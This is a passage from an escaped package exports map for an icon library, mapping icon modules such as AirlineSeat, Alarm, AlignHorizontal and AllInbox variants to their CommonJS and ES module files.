\"require\": \"./AirlineSeatLegroomExtraOutlined.js\",\n      \"import\": \"./AirlineSeatLegroomExtraOutlined.mjs\",\n      \"default\": \"./AirlineSeatLegroomExtraOutlined.mjs\"\n    },\n    \"./AirlineSeatLegroomExtraRounded\": {\n      \"require\": \"./AirlineSeatLegroomExtraRounded.js\",\n      \"import\": \"./AirlineSeatLegroomExtraRounded.mjs\",\n      \"default\": \"./AirlineSeatLegroomExtraRounded.mjs\"\n    },\n    \"./AirlineSeatLegroomExtraSharp\": {\n      \"require\": \"./AirlineSeatLegroomExtraSharp.js\",\n      \"import\": \"./AirlineSeatLegroomExtraSharp.mjs\",\n      \"default\": \"./AirlineSeatLegroomExtraSharp.mjs\"\n    },\n    \"./AirlineSeatLegroomExtraTwoTone\": {\n      \"require\": \"./AirlineSeatLegroomExtraTwoTone.js\",\n      \"import\": \"./AirlineSeatLegroomExtraTwoTone.mjs\",\n      \"default\": \"./AirlineSeatLegroomExtraTwoTone.mjs\"\n    },\n    \"./AirlineSeatLegroomNormal\": {\n      \"require\": \"./AirlineSeatLegroomNormal.js\",\n      \"import\": \"./AirlineSeatLegroomNormal.mjs\",\n      \"default\": \"./AirlineSeatLegroomNormal.mjs\"\n    },\n    \"./AirlineSeatLegroomNormalOutlined\": {\n      \"require\": \"./AirlineSeatLegroomNormalOutlined.js\",\n      \"import\": \"./AirlineSeatLegroomNormalOutlined.mjs\",\n      \"default\": \"./AirlineSeatLegroomNormalOutlined.mjs\"\n    },\n    \"./AirlineSeatLegroomNormalRounded\": {\n      \"require\": \"./AirlineSeatLegroomNormalRounded.js\",\n      \"import\": \"./AirlineSeatLegroomNormalRounded.mjs\",\n      \"default\": \"./AirlineSeatLegroomNormalRounded.mjs\"\n    },\n    \"./AirlineSeatLegroomNormalSharp\": {\n      \"require\": \"./AirlineSeatLegroomNormalSharp.js\",\n      \"import\": \"./AirlineSeatLegroomNormalSharp.mjs\",\n      \"default\": \"./AirlineSeatLegroomNormalSharp.mjs\"\n    },\n    \"./AirlineSeatLegroomNormalTwoTone\": {\n      \"require\": \"./AirlineSeatLegroomNormalTwoTone.js\",\n      \"import\": \"./AirlineSeatLegroomNormalTwoTone.mjs\",\n      \"default\": \"./AirlineSeatLegroomNormalTwoTone.mjs\"\n    },\n    \"./AirlineSeatLegroomReduced\": {\n      \"require\": \"./AirlineSeatLegroomReduced.js\",\n      \"import\": \"./AirlineSeatLegroomReduced.mjs\",\n      \"default\": \"./AirlineSeatLegroomReduced.mjs\"\n    },\n    \"./AirlineSeatLegroomReducedOutlined\": {\n      \"require\": \"./AirlineSeatLegroomReducedOutlined.js\",\n      \"import\": \"./AirlineSeatLegroomReducedOutlined.mjs\",\n      \"default\": \"./AirlineSeatLegroomReducedOutlined.mjs\"\n    },\n    \"./AirlineSeatLegroomReducedRounded\": {\n      \"require\": \"./AirlineSeatLegroomReducedRounded.js\",\n      \"import\": \"./AirlineSeatLegroomReducedRounded.mjs\",\n      \"default\": \"./AirlineSeatLegroomReducedRounded.mjs\"\n    },\n    \"./AirlineSeatLegroomReducedSharp\": {\n      \"require\": \"./AirlineSeatLegroomReducedSharp.js\",\n      \"import\": \"./AirlineSeatLegroomReducedSharp.mjs\",\n      \"default\": \"./AirlineSeatLegroomReducedSharp.mjs\"\n    },\n    \"./AirlineSeatLegroomReducedTwoTone\": {\n      \"require\": \"./AirlineSeatLegroomReducedTwoTone.js\",\n      \"import\": \"./AirlineSeatLegroomReducedTwoTone.mjs\",\n      \"default\": \"./AirlineSeatLegroomReducedTwoTone.mjs\"\n    },\n    \"./AirlineSeatReclineExtra\": {\n      \"require\": \"./AirlineSeatReclineExtra.js\",\n      \"import\": \"./AirlineSeatReclineExtra.mjs\",\n      \"default\": \"./AirlineSeatReclineExtra.mjs\"\n    },\n    \"./AirlineSeatReclineExtraOutlined\": {\n      \"require\": \"./AirlineSeatReclineExtraOutlined.js\",\n      \"import\": \"./AirlineSeatReclineExtraOutlined.mjs\",\n      \"default\": \"./AirlineSeatReclineExtraOutlined.mjs\"\n    },\n    \"./AirlineSeatReclineExtraRounded\": {\n      \"require\": \"./AirlineSeatReclineExtraRounded.js\",\n      \"import\": \"./AirlineSeatReclineExtraRounded.mjs\",\n      \"default\": \"./AirlineSeatReclineExtraRounded.mjs\"\n    },\n    \"./AirlineSeatReclineExtraSharp\": {\n      \"require\": \"./AirlineSeatReclineExtraSharp.js\",\n      \"import\": \"./AirlineSeatReclineExtraSharp.mjs\",\n      \"default\": \"./AirlineSeatReclineExtraSharp.mjs\"\n    },\n    \"./AirlineSeatReclineExtraTwoTone\": {\n      \"require\": \"./AirlineSeatReclineExtraTwoTone.js\",\n      \"import\": \"./AirlineSeatReclineExtraTwoTone.mjs\",\n      \"default\": \"./AirlineSeatReclineExtraTwoTone.mjs\"\n    },\n    \"./AirlineSeatReclineNormal\": {\n      \"require\": \"./AirlineSeatReclineNormal.js\",\n      \"import\": \"./AirlineSeatReclineNormal.mjs\",\n      \"default\": \"./AirlineSeatReclineNormal.mjs\"\n    },\n    \"./AirlineSeatReclineNormalOutlined\": {\n      \"require\": \"./AirlineSeatReclineNormalOutlined.js\",\n      \"import\": \"./AirlineSeatReclineNormalOutlined.mjs\",\n      \"default\": \"./AirlineSeatReclineNormalOutlined.mjs\"\n    },\n    \"./AirlineSeatReclineNormalRounded\": {\n      \"require\": \"./AirlineSeatReclineNormalRounded.js\",\n      \"import\": \"./AirlineSeatReclineNormalRounded.mjs\",\n      \"default\": \"./AirlineSeatReclineNormalRounded.mjs\"\n    },\n    \"./AirlineSeatReclineNormalSharp\": {\n      \"require\": \"./AirlineSeatReclineNormalSharp.js\",\n      \"import\": \"./AirlineSeatReclineNormalSharp.mjs\",\n      \"default\": \"./AirlineSeatReclineNormalSharp.mjs\"\n    },\n    \"./AirlineSeatReclineNormalTwoTone\": {\n      \"require\": \"./AirlineSeatReclineNormalTwoTone.js\",\n      \"import\": \"./AirlineSeatReclineNormalTwoTone.mjs\",\n      \"default\": \"./AirlineSeatReclineNormalTwoTone.mjs\"\n    },\n    \"./AirlineStops\": {\n      \"require\": \"./AirlineStops.js\",\n      \"import\": \"./AirlineStops.mjs\",\n      \"default\": \"./AirlineStops.mjs\"\n    },\n    \"./AirlineStopsOutlined\": {\n      \"require\": \"./AirlineStopsOutlined.js\",\n      \"import\": \"./AirlineStopsOutlined.mjs\",\n      \"default\": \"./AirlineStopsOutlined.mjs\"\n    },\n    \"./AirlineStopsRounded\": {\n      \"require\": \"./AirlineStopsRounded.js\",\n      \"import\": \"./AirlineStopsRounded.mjs\",\n      \"default\": \"./AirlineStopsRounded.mjs\"\n    },\n    \"./AirlineStopsSharp\": {\n      \"require\": \"./AirlineStopsSharp.js\",\n      \"import\": \"./AirlineStopsSharp.mjs\",\n      \"default\": \"./AirlineStopsSharp.mjs\"\n    },\n    \"./AirlineStopsTwoTone\": {\n      \"require\": \"./AirlineStopsTwoTone.js\",\n      \"import\": \"./AirlineStopsTwoTone.mjs\",\n      \"default\": \"./AirlineStopsTwoTone.mjs\"\n    },\n    \"./Airlines\": {\n      \"require\": \"./Airlines.js\",\n      \"import\": \"./Airlines.mjs\",\n      \"default\": \"./Airlines.mjs\"\n    },\n    \"./AirlinesOutlined\": {\n      \"require\": \"./AirlinesOutlined.js\",\n      \"import\": \"./AirlinesOutlined.mjs\",\n      \"default\": \"./AirlinesOutlined.mjs\"\n    },\n    \"./AirlinesRounded\": {\n      \"require\": \"./AirlinesRounded.js\",\n      \"import\": \"./AirlinesRounded.mjs\",\n      \"default\": \"./AirlinesRounded.mjs\"\n    },\n    \"./AirlinesSharp\": {\n      \"require\": \"./AirlinesSharp.js\",\n      \"import\": \"./AirlinesSharp.mjs\",\n      \"default\": \"./AirlinesSharp.mjs\"\n    },\n    \"./AirlinesTwoTone\": {\n      \"require\": \"./AirlinesTwoTone.js\",\n      \"import\": \"./AirlinesTwoTone.mjs\",\n      \"default\": \"./AirlinesTwoTone.mjs\"\n    },\n    \"./AirplaneTicket\": {\n      \"require\": \"./AirplaneTicket.js\",\n      \"import\": \"./AirplaneTicket.mjs\",\n      \"default\": \"./AirplaneTicket.mjs\"\n    },\n    \"./AirplaneTicketOutlined\": {\n      \"require\": \"./AirplaneTicketOutlined.js\",\n      \"import\": \"./AirplaneTicketOutlined.mjs\",\n      \"default\": \"./AirplaneTicketOutlined.mjs\"\n    },\n    \"./AirplaneTicketRounded\": {\n      \"require\": \"./AirplaneTicketRounded.js\",\n      \"import\": \"./AirplaneTicketRounded.mjs\",\n      \"default\": \"./AirplaneTicketRounded.mjs\"\n    },\n    \"./AirplaneTicketSharp\": {\n      \"require\": \"./AirplaneTicketSharp.js\",\n      \"import\": \"./AirplaneTicketSharp.mjs\",\n      \"default\": \"./AirplaneTicketSharp.mjs\"\n    },\n    \"./AirplaneTicketTwoTone\": {\n      \"require\": \"./AirplaneTicketTwoTone.js\",\n      \"import\": \"./AirplaneTicketTwoTone.mjs\",\n      \"default\": \"./AirplaneTicketTwoTone.mjs\"\n    },\n    \"./AirplanemodeActive\": {\n      \"require\": \"./AirplanemodeActive.js\",\n      \"import\": \"./AirplanemodeActive.mjs\",\n      \"default\": \"./AirplanemodeActive.mjs\"\n    },\n    \"./AirplanemodeActiveOutlined\": {\n      \"import\": \"./AirplanemodeActiveOutlined.mjs\",\n      \"require\": \"./AirplanemodeActiveOutlined.js\",\n      \"default\": \"./AirplanemodeActiveOutlined.mjs\"\n    },\n    \"./AirplanemodeActiveRounded\": {\n      \"import\": \"./AirplanemodeActiveRounded.mjs\",\n      \"require\": \"./AirplanemodeActiveRounded.js\",\n      \"default\": \"./AirplanemodeActiveRounded.mjs\"\n    },\n    \"./AirplanemodeActiveSharp\": {\n      \"import\": \"./AirplanemodeActiveSharp.mjs\",\n      \"require\": \"./AirplanemodeActiveSharp.js\",\n      \"default\": \"./AirplanemodeActiveSharp.mjs\"\n    },\n    \"./AirplanemodeActiveTwoTone\": {\n      \"import\": \"./AirplanemodeActiveTwoTone.mjs\",\n      \"require\": \"./AirplanemodeActiveTwoTone.js\",\n      \"default\": \"./AirplanemodeActiveTwoTone.mjs\"\n    },\n    \"./AirplanemodeInactive\": {\n      \"import\": \"./AirplanemodeInactive.mjs\",\n      \"require\": \"./AirplanemodeInactive.js\",\n      \"default\": \"./AirplanemodeInactive.mjs\"\n    },\n    \"./AirplanemodeInactiveOutlined\": {\n      \"import\": \"./AirplanemodeInactiveOutlined.mjs\",\n      \"require\": \"./AirplanemodeInactiveOutlined.js\",\n      \"default\": \"./AirplanemodeInactiveOutlined.mjs\"\n    },\n    \"./AirplanemodeInactiveRounded\": {\n      \"import\": \"./AirplanemodeInactiveRounded.mjs\",\n      \"require\": \"./AirplanemodeInactiveRounded.js\",\n      \"default\": \"./AirplanemodeInactiveRounded.mjs\"\n    },\n    \"./AirplanemodeInactiveSharp\": {\n      \"import\": \"./AirplanemodeInactiveSharp.mjs\",\n      \"require\": \"./AirplanemodeInactiveSharp.js\",\n      \"default\": \"./AirplanemodeInactiveSharp.mjs\"\n    },\n    \"./AirplanemodeInactiveTwoTone\": {\n      \"import\": \"./AirplanemodeInactiveTwoTone.mjs\",\n      \"require\": \"./AirplanemodeInactiveTwoTone.js\",\n      \"default\": \"./AirplanemodeInactiveTwoTone.mjs\"\n    },\n    \"./Airplay\": {\n      \"import\": \"./Airplay.mjs\",\n      \"require\": \"./Airplay.js\",\n      \"default\": \"./Airplay.mjs\"\n    },\n    \"./AirplayOutlined\": {\n      \"import\": \"./AirplayOutlined.mjs\",\n      \"require\": \"./AirplayOutlined.js\",\n      \"default\": \"./AirplayOutlined.mjs\"\n    },\n    \"./AirplayRounded\": {\n      \"import\": \"./AirplayRounded.mjs\",\n      \"require\": \"./AirplayRounded.js\",\n      \"default\": \"./AirplayRounded.mjs\"\n    },\n    \"./AirplaySharp\": {\n      \"import\": \"./AirplaySharp.mjs\",\n      \"require\": \"./AirplaySharp.js\",\n      \"default\": \"./AirplaySharp.mjs\"\n    },\n    \"./AirplayTwoTone\": {\n      \"import\": \"./AirplayTwoTone.mjs\",\n      \"require\": \"./AirplayTwoTone.js\",\n      \"default\": \"./AirplayTwoTone.mjs\"\n    },\n    \"./AirportShuttle\": {\n      \"import\": \"./AirportShuttle.mjs\",\n      \"require\": \"./AirportShuttle.js\",\n      \"default\": \"./AirportShuttle.mjs\"\n    },\n    \"./AirportShuttleOutlined\": {\n      \"import\": \"./AirportShuttleOutlined.mjs\",\n      \"require\": \"./AirportShuttleOutlined.js\",\n      \"default\": \"./AirportShuttleOutlined.mjs\"\n    },\n    \"./AirportShuttleRounded\": {\n      \"import\": \"./AirportShuttleRounded.mjs\",\n      \"require\": \"./AirportShuttleRounded.js\",\n      \"default\": \"./AirportShuttleRounded.mjs\"\n    },\n    \"./AirportShuttleSharp\": {\n      \"import\": \"./AirportShuttleSharp.mjs\",\n      \"require\": \"./AirportShuttleSharp.js\",\n      \"default\": \"./AirportShuttleSharp.mjs\"\n    },\n    \"./AirportShuttleTwoTone\": {\n      \"import\": \"./AirportShuttleTwoTone.mjs\",\n      \"require\": \"./AirportShuttleTwoTone.js\",\n      \"default\": \"./AirportShuttleTwoTone.mjs\"\n    },\n    \"./Alarm\": {\n      \"import\": \"./Alarm.mjs\",\n      \"require\": \"./Alarm.js\",\n      \"default\": \"./Alarm.mjs\"\n    },\n    \"./AlarmAdd\": {\n      \"import\": \"./AlarmAdd.mjs\",\n      \"require\": \"./AlarmAdd.js\",\n      \"default\": \"./AlarmAdd.mjs\"\n    },\n    \"./AlarmAddOutlined\": {\n      \"import\": \"./AlarmAddOutlined.mjs\",\n      \"require\": \"./AlarmAddOutlined.js\",\n      \"default\": \"./AlarmAddOutlined.mjs\"\n    },\n    \"./AlarmAddRounded\": {\n      \"import\": \"./AlarmAddRounded.mjs\",\n      \"require\": \"./AlarmAddRounded.js\",\n      \"default\": \"./AlarmAddRounded.mjs\"\n    },\n    \"./AlarmAddSharp\": {\n      \"require\": \"./AlarmAddSharp.js\",\n      \"import\": \"./AlarmAddSharp.mjs\",\n      \"default\": \"./AlarmAddSharp.mjs\"\n    },\n    \"./AlarmAddTwoTone\": {\n      \"require\": \"./AlarmAddTwoTone.js\",\n      \"import\": \"./AlarmAddTwoTone.mjs\",\n      \"default\": \"./AlarmAddTwoTone.mjs\"\n    },\n    \"./AlarmOff\": {\n      \"require\": \"./AlarmOff.js\",\n      \"import\": \"./AlarmOff.mjs\",\n      \"default\": \"./AlarmOff.mjs\"\n    },\n    \"./AlarmOffOutlined\": {\n      \"require\": \"./AlarmOffOutlined.js\",\n      \"import\": \"./AlarmOffOutlined.mjs\",\n      \"default\": \"./AlarmOffOutlined.mjs\"\n    },\n    \"./AlarmOffRounded\": {\n      \"require\": \"./AlarmOffRounded.js\",\n      \"import\": \"./AlarmOffRounded.mjs\",\n      \"default\": \"./AlarmOffRounded.mjs\"\n    },\n    \"./AlarmOffSharp\": {\n      \"require\": \"./AlarmOffSharp.js\",\n      \"import\": \"./AlarmOffSharp.mjs\",\n      \"default\": \"./AlarmOffSharp.mjs\"\n    },\n    \"./AlarmOffTwoTone\": {\n      \"require\": \"./AlarmOffTwoTone.js\",\n      \"import\": \"./AlarmOffTwoTone.mjs\",\n      \"default\": \"./AlarmOffTwoTone.mjs\"\n    },\n    \"./AlarmOn\": {\n      \"require\": \"./AlarmOn.js\",\n      \"import\": \"./AlarmOn.mjs\",\n      \"default\": \"./AlarmOn.mjs\"\n    },\n    \"./AlarmOnOutlined\": {\n      \"import\": \"./AlarmOnOutlined.mjs\",\n      \"require\": \"./AlarmOnOutlined.js\",\n      \"default\": \"./AlarmOnOutlined.mjs\"\n    },\n    \"./AlarmOnRounded\": {\n      \"require\": \"./AlarmOnRounded.js\",\n      \"import\": \"./AlarmOnRounded.mjs\",\n      \"default\": \"./AlarmOnRounded.mjs\"\n    },\n    \"./AlarmOnSharp\": {\n      \"require\": \"./AlarmOnSharp.js\",\n      \"import\": \"./AlarmOnSharp.mjs\",\n      \"default\": \"./AlarmOnSharp.mjs\"\n    },\n    \"./AlarmOnTwoTone\": {\n      \"require\": \"./AlarmOnTwoTone.js\",\n      \"import\": \"./AlarmOnTwoTone.mjs\",\n      \"default\": \"./AlarmOnTwoTone.mjs\"\n    },\n    \"./AlarmOutlined\": {\n      \"require\": \"./AlarmOutlined.js\",\n      \"import\": \"./AlarmOutlined.mjs\",\n      \"default\": \"./AlarmOutlined.mjs\"\n    },\n    \"./AlarmRounded\": {\n      \"require\": \"./AlarmRounded.js\",\n      \"import\": \"./AlarmRounded.mjs\",\n      \"default\": \"./AlarmRounded.mjs\"\n    },\n    \"./AlarmSharp\": {\n      \"require\": \"./AlarmSharp.js\",\n      \"import\": \"./AlarmSharp.mjs\",\n      \"default\": \"./AlarmSharp.mjs\"\n    },\n    \"./AlarmTwoTone\": {\n      \"require\": \"./AlarmTwoTone.js\",\n      \"import\": \"./AlarmTwoTone.mjs\",\n      \"default\": \"./AlarmTwoTone.mjs\"\n    },\n    \"./Album\": {\n      \"require\": \"./Album.js\",\n      \"import\": \"./Album.mjs\",\n      \"default\": \"./Album.mjs\"\n    },\n    \"./AlbumOutlined\": {\n      \"require\": \"./AlbumOutlined.js\",\n      \"import\": \"./AlbumOutlined.mjs\",\n      \"default\": \"./AlbumOutlined.mjs\"\n    },\n    \"./AlbumRounded\": {\n      \"require\": \"./AlbumRounded.js\",\n      \"import\": \"./AlbumRounded.mjs\",\n      \"default\": \"./AlbumRounded.mjs\"\n    },\n    \"./AlbumSharp\": {\n      \"require\": \"./AlbumSharp.js\",\n      \"import\": \"./AlbumSharp.mjs\",\n      \"default\": \"./AlbumSharp.mjs\"\n    },\n    \"./AlbumTwoTone\": {\n      \"require\": \"./AlbumTwoTone.js\",\n      \"import\": \"./AlbumTwoTone.mjs\",\n      \"default\": \"./AlbumTwoTone.mjs\"\n    },\n    \"./AlignHorizontalCenter\": {\n      \"require\": \"./AlignHorizontalCenter.js\",\n      \"import\": \"./AlignHorizontalCenter.mjs\",\n      \"default\": \"./AlignHorizontalCenter.mjs\"\n    },\n    \"./AlignHorizontalCenterOutlined\": {\n      \"require\": \"./AlignHorizontalCenterOutlined.js\",\n      \"import\": \"./AlignHorizontalCenterOutlined.mjs\",\n      \"default\": \"./AlignHorizontalCenterOutlined.mjs\"\n    },\n    \"./AlignHorizontalCenterRounded\": {\n      \"require\": \"./AlignHorizontalCenterRounded.js\",\n      \"import\": \"./AlignHorizontalCenterRounded.mjs\",\n      \"default\": \"./AlignHorizontalCenterRounded.mjs\"\n    },\n    \"./AlignHorizontalCenterSharp\": {\n      \"require\": \"./AlignHorizontalCenterSharp.js\",\n      \"import\": \"./AlignHorizontalCenterSharp.mjs\",\n      \"default\": \"./AlignHorizontalCenterSharp.mjs\"\n    },\n    \"./AlignHorizontalCenterTwoTone\": {\n      \"require\": \"./AlignHorizontalCenterTwoTone.js\",\n      \"import\": \"./AlignHorizontalCenterTwoTone.mjs\",\n      \"default\": \"./AlignHorizontalCenterTwoTone.mjs\"\n    },\n    \"./AlignHorizontalLeft\": {\n      \"require\": \"./AlignHorizontalLeft.js\",\n      \"import\": \"./AlignHorizontalLeft.mjs\",\n      \"default\": \"./AlignHorizontalLeft.mjs\"\n    },\n    \"./AlignHorizontalLeftOutlined\": {\n      \"require\": \"./AlignHorizontalLeftOutlined.js\",\n      \"import\": \"./AlignHorizontalLeftOutlined.mjs\",\n      \"default\": \"./AlignHorizontalLeftOutlined.mjs\"\n    },\n    \"./AlignHorizontalLeftRounded\": {\n      \"require\": \"./AlignHorizontalLeftRounded.js\",\n      \"import\": \"./AlignHorizontalLeftRounded.mjs\",\n      \"default\": \"./AlignHorizontalLeftRounded.mjs\"\n    },\n    \"./AlignHorizontalLeftSharp\": {\n      \"require\": \"./AlignHorizontalLeftSharp.js\",\n      \"import\": \"./AlignHorizontalLeftSharp.mjs\",\n      \"default\": \"./AlignHorizontalLeftSharp.mjs\"\n    },\n    \"./AlignHorizontalLeftTwoTone\": {\n      \"import\": \"./AlignHorizontalLeftTwoTone.mjs\",\n      \"require\": \"./AlignHorizontalLeftTwoTone.js\",\n      \"default\": \"./AlignHorizontalLeftTwoTone.mjs\"\n    },\n    \"./AlignHorizontalRight\": {\n      \"import\": \"./AlignHorizontalRight.mjs\",\n      \"require\": \"./AlignHorizontalRight.js\",\n      \"default\": \"./AlignHorizontalRight.mjs\"\n    },\n    \"./AlignHorizontalRightOutlined\": {\n      \"require\": \"./AlignHorizontalRightOutlined.js\",\n      \"import\": \"./AlignHorizontalRightOutlined.mjs\",\n      \"default\": \"./AlignHorizontalRightOutlined.mjs\"\n    },\n    \"./AlignHorizontalRightRounded\": {\n      \"require\": \"./AlignHorizontalRightRounded.js\",\n      \"import\": \"./AlignHorizontalRightRounded.mjs\",\n      \"default\": \"./AlignHorizontalRightRounded.mjs\"\n    },\n    \"./AlignHorizontalRightSharp\": {\n      \"require\": \"./AlignHorizontalRightSharp.js\",\n      \"import\": \"./AlignHorizontalRightSharp.mjs\",\n      \"default\": \"./AlignHorizontalRightSharp.mjs\"\n    },\n    \"./AlignHorizontalRightTwoTone\": {\n      \"require\": \"./AlignHorizontalRightTwoTone.js\",\n      \"import\": \"./AlignHorizontalRightTwoTone.mjs\",\n      \"default\": \"./AlignHorizontalRightTwoTone.mjs\"\n    },\n    \"./AlignVerticalBottom\": {\n      \"require\": \"./AlignVerticalBottom.js\",\n      \"import\": \"./AlignVerticalBottom.mjs\",\n      \"default\": \"./AlignVerticalBottom.mjs\"\n    },\n    \"./AlignVerticalBottomOutlined\": {\n      \"require\": \"./AlignVerticalBottomOutlined.js\",\n      \"import\": \"./AlignVerticalBottomOutlined.mjs\",\n      \"default\": \"./AlignVerticalBottomOutlined.mjs\"\n    },\n    \"./AlignVerticalBottomRounded\": {\n      \"require\": \"./AlignVerticalBottomRounded.js\",\n      \"import\": \"./AlignVerticalBottomRounded.mjs\",\n      \"default\": \"./AlignVerticalBottomRounded.mjs\"\n    },\n    \"./AlignVerticalBottomSharp\": {\n      \"require\": \"./AlignVerticalBottomSharp.js\",\n      \"import\": \"./AlignVerticalBottomSharp.mjs\",\n      \"default\": \"./AlignVerticalBottomSharp.mjs\"\n    },\n    \"./AlignVerticalBottomTwoTone\": {\n      \"require\": \"./AlignVerticalBottomTwoTone.js\",\n      \"import\": \"./AlignVerticalBottomTwoTone.mjs\",\n      \"default\": \"./AlignVerticalBottomTwoTone.mjs\"\n    },\n    \"./AlignVerticalCenter\": {\n      \"require\": \"./AlignVerticalCenter.js\",\n      \"import\": \"./AlignVerticalCenter.mjs\",\n      \"default\": \"./AlignVerticalCenter.mjs\"\n    },\n    \"./AlignVerticalCenterOutlined\": {\n      \"require\": \"./AlignVerticalCenterOutlined.js\",\n      \"import\": \"./AlignVerticalCenterOutlined.mjs\",\n      \"default\": \"./AlignVerticalCenterOutlined.mjs\"\n    },\n    \"./AlignVerticalCenterRounded\": {\n      \"require\": \"./AlignVerticalCenterRounded.js\",\n      \"import\": \"./AlignVerticalCenterRounded.mjs\",\n      \"default\": \"./AlignVerticalCenterRounded.mjs\"\n    },\n    \"./AlignVerticalCenterSharp\": {\n      \"require\": \"./AlignVerticalCenterSharp.js\",\n      \"import\": \"./AlignVerticalCenterSharp.mjs\",\n      \"default\": \"./AlignVerticalCenterSharp.mjs\"\n    },\n    \"./AlignVerticalCenterTwoTone\": {\n      \"require\": \"./AlignVerticalCenterTwoTone.js\",\n      \"import\": \"./AlignVerticalCenterTwoTone.mjs\",\n      \"default\": \"./AlignVerticalCenterTwoTone.mjs\"\n    },\n    \"./AlignVerticalTop\": {\n      \"require\": \"./AlignVerticalTop.js\",\n      \"import\": \"./AlignVerticalTop.mjs\",\n      \"default\": \"./AlignVerticalTop.mjs\"\n    },\n    \"./AlignVerticalTopOutlined\": {\n      \"require\": \"./AlignVerticalTopOutlined.js\",\n      \"import\": \"./AlignVerticalTopOutlined.mjs\",\n      \"default\": \"./AlignVerticalTopOutlined.mjs\"\n    },\n    \"./AlignVerticalTopRounded\": {\n      \"require\": \"./AlignVerticalTopRounded.js\",\n      \"import\": \"./AlignVerticalTopRounded.mjs\",\n      \"default\": \"./AlignVerticalTopRounded.mjs\"\n    },\n    \"./AlignVerticalTopSharp\": {\n      \"require\": \"./AlignVerticalTopSharp.js\",\n      \"import\": \"./AlignVerticalTopSharp.mjs\",\n      \"default\": \"./AlignVerticalTopSharp.mjs\"\n    },\n    \"./AlignVerticalTopTwoTone\": {\n      \"require\": \"./AlignVerticalTopTwoTone.js\",\n      \"import\": \"./AlignVerticalTopTwoTone.mjs\",\n      \"default\": \"./AlignVerticalTopTwoTone.mjs\"\n    },\n    \"./AllInbox\": {\n      \"require\": \"./AllInbox.js\",\n      \"import\": \"./AllInbox.mjs\",\n      \"default\": \"./AllInbox.mjs\"\n    },\n    \"./AllInboxOutlined\": {\n      \"require\": \"./AllInboxOutlined.js\",\n      \"import\": \"./AllInboxOutlined.mjs\",\n      \"default\": \"./AllInboxOutlined.mjs\"\n    },\n    \"./AllInboxRounded\": {\n      \"require\": \"./AllInboxRounded.js\",\n      \"import\": \"./AllInboxRounded.mjs\",\n      \"default\": \"./AllInboxRounded.mjs\"\n    },\n    \"./AllInboxSharp\": {\n      \"require\": \"./AllInboxSharp.js\",\n      \"import\": \"./AllInboxSharp.mjs\",\n      \"default\": \"./AllInboxSharp.mjs\"\n    },\n    \"./AllInboxTwoTone\": {\n      \"require\": \"./AllInboxTwoTone.js\",\n      \"import\": \"./AllInboxTwoTone.mjs\",\n      \"default\": \"./AllInboxTwoTone.mjs\"\n    },\n    \"./AllInclusive\": {\n      \"import\": \"./AllInclusive.mjs\",\n      \"require\": \"./AllInclusive.js\",\n      \"default\": \"./AllInclusive.mjs\"\n    },\n    \"./AllInclusiveOutlined\": {\n      \"import\": \"./AllInclusiveOutlined.mjs\",\n      \"require\": \"./AllInclusiveOutlined.js\",\n      \"default\": \"./AllInclusiveOutlined.mjs\"\n    },\n    \"./AllInclusiveRounded\": {\n      \"import\": \"./AllInclusiveRounded.mjs\",\n      \"require\": \"./AllInclusiveRounded.js\",\n      \"default\": \"./AllInclusiveRounded.mjs\"\n    },\n    \"./AllInclusiveSharp\": {\n      \"import\": \"./AllInclusiveSharp.mjs\",\n      \"require\": \"./AllInclusiveSharp.js\",\n      \"default\": \"./AllInclusiveSharp.mjs\"\n    },\n    \"./AllInclusiveTwoTone\": {\n      \"import\": \"./AllInclusiveTwoTone.mjs\",\n      \"require\": \"./AllInclusiveTwoTone.js\",\n      \"default\": \"./AllInclusiveTwoTone.mjs\"\n    },\n    \"./AllOut\": {\n      \"import\": \"./AllOut.mjs\",\n      \"require\": \"./AllOut.js\",\n      \"default\": \"./AllOut.mjs\"\n    },\n    \"./AllOutOutlined\": {\n      \"import\": \"./AllOutOutlined.mjs\",\n      \"require\": \"./AllOutOutlined.js\",\n      \"default\": \"./AllOutOutlined.mjs\"\n    },\n    \"./AllOutRounded\": {\n      \"import\": \"./AllOutRounded.mjs\",\n      \"require\": \"./AllOutRounded.js\",\n      \"default\": \"./AllOutRounded.mjs\"\n    },\n    \"./AllOutSharp\": {\n      \"import\": \"./AllOutSharp.mjs\",\n      \"require\": \"./AllOutSharp.js\",\n      \"default\": \"./AllOutSharp.mjs\"\n    },\n    \"./AllOutTwoTone\": {\n      \"import\": \"./AllOutTwoTone.mjs\",\n      \"require\": \"./AllOutTwoTone.js\",\n      \"default\": \"./AllOutTwoTone.mjs\"\n    },\n    \"./AltRoute\": {\n      \"import\": \"./AltRoute.mjs\",\n      \"require\": \"./AltRoute.js\",\n      \"default\": \"./AltRoute.mjs\"\n    },\n    \"./AltRouteOutlined\": {\n      \"import\": \"./AltRouteOutlined.mjs\",\n      \"require\": \"./AltRouteOutlined.js\",\n      \"default\": \"./AltRouteOutlined.mjs\"\n    },\n    \"./AltRouteRounded\": {\n      \"import\": \"./AltRouteRounded.mjs\",\n      \"require\": \"./AltRouteRounded.js\",\n      \"default\": \"./AltRouteRounded.mjs\"\n    },\n    \"./AltRouteSharp\": {\n      \"import\": \"./AltRouteSharp.mjs\",\n      \"require\": \"./AltRouteSharp.js\",\n      \"default\": \"./AltRouteSharp.mjs\"\n    },\n    \"./AltRouteTwoTone\": {\n      \"import\": \"./AltRouteTwoTone.mjs\",\n      \"require\": \"./AltRouteTwoTone.js\",\n      \"default\": \"./AltRouteTwoTone.mjs\"\n    },\n    \"./AlternateEmail\": {\n      \"import\": \"./AlternateEmail.mjs\",\n      \"require\": \"./AlternateEmail.js\",\n      \"default\": \"./AlternateEmail.mjs\"\n    },\n    \"./AlternateEmailOutlined\": {\n      \"import\": \"./AlternateEmailOutlined.mjs\",\n      \"require\": \"./AlternateEmailOutlined.js\",\n      \"default\": \"./AlternateEmailOutlined.mjs\"\n    },\n    \"./AlternateEmailRounded\": {\n      \"require\": \"./AlternateEmailRounded.js\",\n      \"import\": \"./AlternateEmailRounded.mjs\",\n      \"default\": \"./AlternateEmailRounded.mjs\"\n    },\n    \"./AlternateEmailSharp\": {\n      \"require\": \"./AlternateEmailSharp.js\",\n      \"import\": \"./AlternateEmailSharp.mjs\",\n      \"default\": \"./AlternateEmailSharp.mjs\"\n    },\n    \"./AlternateEmailTwoTone\": {\n      \"require\": \"./AlternateEmailTwoTone.js\",\n      \"import\": \"./AlternateEmailTwoTone.mjs\",\n      \"default\": \"./AlternateEmailTwoTone.mjs\"\n    },\n    \"./Analytics\": {\n      \"require\": \"./Analytics.js\",\n      \"import\": \"./Analytics.mjs\",\n      \"default\": \"./Analytics.mjs\"\n    },\n    \"./AnalyticsOutlined\": {\n      \"require\": 